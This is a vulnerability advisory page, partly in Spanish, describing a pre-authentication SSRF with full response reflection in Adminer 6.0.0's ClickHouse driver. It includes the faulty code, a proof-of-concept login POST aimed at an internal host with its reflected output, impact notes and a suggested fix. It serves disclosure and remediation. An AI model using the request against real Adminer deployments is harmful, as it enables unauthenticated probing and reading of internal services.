GHSA-77QQ-Q8FV-X45V
Adminer 6.0.0: ClickHouse driver reflects arbitrary HTTP response body on login error (pre-auth SSRF with full response echo)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-77QQ-Q8FV-X45V divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Adminer 6.0.0 (commit `244d906`) rewrote the official ClickHouse plugin driver (`plugins/drivers/clickhouse.php`). In the new `rootQuery()`, when the target server returns a non-2xx status (other than 401/403), the raw HTTP response body is stored as the connection error (`$this->error = trim($file);`). The login page then renders this error to an unauthenticated attacker. By submitting `auth[driver]=clickhouse&auth[server]=http://<internal-host>:<port>`, an unauthenticated attacker makes the Adminer server issue an HTTP POST to an arbitrary internal host and receives the full response body back on the login page — pre-auth SSRF with full response echo.
In v5.4.2 the ClickHouse driver did not reflect the response body (it only surfaced JSON-decoding errors). This behavior was introduced by the 6.0.0 rewrite, so it is a regression on the latest release.
Root cause
`plugins/drivers/clickhouse.php` (6.0.0), `rootQuery()`:
list($file, $status, $headers, $error) = get_url($this->url . "/?database=" . rawurlencode($db), stream_context_create(array('http' => array(
'method' => 'POST',
'content' => $query,
...
'ignore_errors' => 1, 'follow_location' => 0, 'max_redirects' => 0,
))));
if ($status == 401 || $status == 403) { ... }
if ($file === false) { ... }
if ($status < 200 || $status >= 300) {
...
$this->error = trim($file); // target HTTP response body becomes the error message
return false;
}`attach()` runs `SELECT version()` on connect; on failure the error (i.e. the response body) is returned and rendered on the login page.
PoC (dynamic, Adminer 6.0.0)
Environment: Adminer 6.0.0 compiled file + official `plugins/drivers/clickhouse.php` loaded via `adminer-plugins.php`; a local HTTP service on `127.0.0.1:18089` that answers `POST /` with `404` and body `MARKER_SSRF_RESPONSE_78901 ...`.
Unauthenticated request:
POST /adminer-6.0.0.php?clickhouse=http%3A%2F%2F127.0.0.1%3A18089&username=adminer HTTP/1.1
Content-Type: application/x-www-form-urlencoded
auth[driver]=clickhouse&auth[server]=http://127.0.0.1:18089&auth[username]=adminer&auth[password]=x&auth[db]=Observed:
- The Adminer server issued `POST /?database=default` with body `SELECT version()` to the target (confirmed by the target's request log).
- The login page error area displayed the full response body:
<div class='error'>MARKER_SSRF_RESPONSE_78901 POST:SELECT version()</div>Version comparison: with Adminer 5.4.2 and the same driver/target, the response body is NOT reflected.
Sensitive data disclosure (500 error body reflection)
With a target returning `500` plus an internal error page, the full body is reflected to the unauthenticated login page. Example reflected content:
Traceback (most recent call last):
File "/srv/internal/app/secret_config_loader.py", line 42
raise RuntimeError('DB_PASSWORD_INTERNAL=****')
RuntimeError: DB_PASSWORD_INTERNAL
host: internal-prod-01Internal file paths, config identifiers and hostnames from real internal 500 error pages are commonly disclosed this way, turning the SSRF into an internal-information disclosure.
Impact
- Pre-auth SSRF with full response echo: an unauthenticated attacker can read HTTP responses of arbitrary internal services on ports 1024-65535 (privileged ports are blocked by the 6.0.0 validator, e.g. the cloud metadata service on port 80).
- Internal port/service scanning via response differences.
- Internal information disclosure (admin panels, monitoring, APIs, internal docs).
- Most internal web apps return 404/405/400/500 for `POST /?database=default`, and their error pages are reflected.
Prerequisites
- The official ClickHouse plugin driver must be enabled (documented plugin-driver setup; common in packaged deployments such as docker-adminer).
Relation to existing advisories
- GHSA-x5r2-hj5c-8jx6 (CVE-2021-21311, ES/ClickHouse error-page SSRF, fixed in 4.7.9) addressed the old implementation; v5.4.2 does not reflect the body. The reflection was re-introduced by the 6.0.0 rewrite, so it is not covered by any fixed version.
- GHSA-43f8 (privileged-port SSRF) and GHSA-58cq (PDO DSN-injection SSRF) are different entry points/mechanisms.
Suggested fix
- Do not use the target's response body as the error message; keep only the status code and a generic message (like the elastic driver does for non-JSON responses).
- Consider restricting connect targets to public addresses or making it configurable.
CVE request
Please confirm this regression on 6.0.0 and, if confirmed, publish/adjust the advisory for the 6.0.0 range and request a CVE. Reporter: @yanyusec.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistvrana/adminer |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/vrana/adminer/security/advisories/GHSA-77qq-q8fv-x45vLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
